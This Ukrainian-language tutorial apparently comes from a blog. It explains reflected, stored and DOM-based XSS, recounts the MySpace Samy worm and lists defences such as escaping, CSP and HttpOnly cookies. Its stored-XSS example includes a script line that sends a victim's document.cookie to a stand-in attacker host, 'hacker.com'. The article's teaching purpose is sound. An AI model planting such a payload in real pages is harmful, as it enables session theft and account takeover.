XSS-атаки: що це таке і як вони працюють

🔥 Що таке XSS?

XSS (Cross-Site Scripting) — це вразливість у веб-застосунках, яка дозволяє зловмисникам вставляти шкідливий скрипт у веб-сторінку, яку переглядає інший користувач. Це може призвести до викрадення даних, зміни вмісту сторінки або виконання довільних дій від імені жертви.

⚙️ Як працює XSS-атака?

XSS-атака використовує слабкість у фільтрації або екрануванні введених користувачем даних. Якщо веб-додаток не обробляє введення належним чином, зловмисник може вставити шкідливий JavaScript-код, який браузер жертви виконає як частину легітимної сторінки.

Наприклад, якщо на сайті є форма зворотного зв’язку, яка відображає коментар без фільтрації, зловмисник може вставити:

<script>alert('Ваша сесія викрадена!');</script>

Якщо сторінка відобразить цей код без обробки, браузер жертви виконає його.


🛠️ Типи XSS-атак

1️⃣ Reflected XSS (відображений XSS)

Цей тип атак спрацьовує, коли шкідливий код міститься у запиті (наприклад, у URL) і відразу ж відображається на сторінці.

📌 Як працює:

  1. Зловмисник створює спеціальний URL із шкідливим кодом, наприклад:
    https://example.com/search?q=<script>alert('XSS')</script>
    
  2. Жертва переходить за цим посиланням.
  3. Сервер відображає введене значення у відповіді без фільтрації.
  4. Браузер виконує шкідливий код.

🛡️ Захист:

  • Використовувати фільтрацію вводу (sanitize input).
  • Використовувати Content Security Policy (CSP).
  • Не виводити введені користувачем дані без екранування.

2️⃣ Stored XSS (збережений XSS)

Цей вид XSS є найнебезпечнішим, оскільки шкідливий код зберігається в базі даних або на сервері та відображається кожному користувачу, який відкриває сторінку.

📌 Як працює:

  1. Зловмисник вставляє скрипт через форму введення (наприклад, у коментарях або відгуках):
    <script>fetch('https://hacker.com/steal?cookie='+document.cookie)</script>
    
  2. Цей код зберігається в базі даних.
  3. Коли жертва відкриває сторінку, скрипт виконується і, наприклад, відправляє її cookies зловмиснику.

🛡️ Захист:

  • Використовувати екранування спеціальних символів (наприклад, &lt;, &gt;, &quot;).
  • Перевіряти тип введених даних (не дозволяти вставляти HTML/JS там, де цього не потрібно).
  • Використовувати HTTPOnly-кукі, щоб JavaScript не міг їх читати.

3️⃣ DOM-based XSS

Ця атака не залежить від сервера, а використовує слабкість у коді JavaScript на клієнті.

📌 Як працює:

  1. Зловмисник змінює URL:
    https://example.com/#<script>alert('XSS')</script>
    
  2. JavaScript на сторінці неправильно обробляє window.location.hash і вставляє його в DOM без перевірки.
  3. Браузер жертви виконує код.

🛡️ Захист:

  • Використовувати textContent замість innerHTML для вставки даних у DOM.
  • Фільтрувати введені дані ще до їх використання в JavaScript.

🎯 Приклади реальних атак

📌 Злом MySpace через XSS

У 2005 році зловмисник Семмі Камкар створив “саморозмножувальний XSS-черв’як”. Він розмістив у своєму профілі скрипт, який:

  1. Додавав його у друзі кожного, хто переглядав профіль.
  2. Автоматично копіював себе в їхні профілі.

Через 24 години понад 1 мільйон користувачів MySpace стали “друзями” Семмі.


🔒 Як захиститися від XSS?

Фільтрація вводу

  • Використовувати бібліотеки для екранування, наприклад, DOMPurify.
  • Видаляти або екранувати небезпечні символи (<, >, ", ', /).

Обмеження використання innerHTML

  • Використовувати textContent або createTextNode() замість innerHTML.

Content Security Policy (CSP)

  • Заборонити виконання inline-скриптів:
    Content-Security-Policy: default-src 'self'
    

HttpOnly-кукі

  • Забороняє JavaScript доступ до cookies:
    Set-Cookie: session=abc123; HttpOnly; Secure
    

Escaping в шаблонах

  • Використовувати Vue/React/Angular, які автоматично екранують небезпечні символи.

🏆 Висновок

XSS — це серйозна вразливість, яка може призвести до витоку даних, компрометації користувачів і зараження сайту шкідливими скриптами. Правильна фільтрація вводу, екранування, CSP і безпечні кукі допоможуть захиститися від атак.

Залишити відповідь

Ваша e-mail адреса не оприлюднюватиметься. Обов’язкові поля позначені *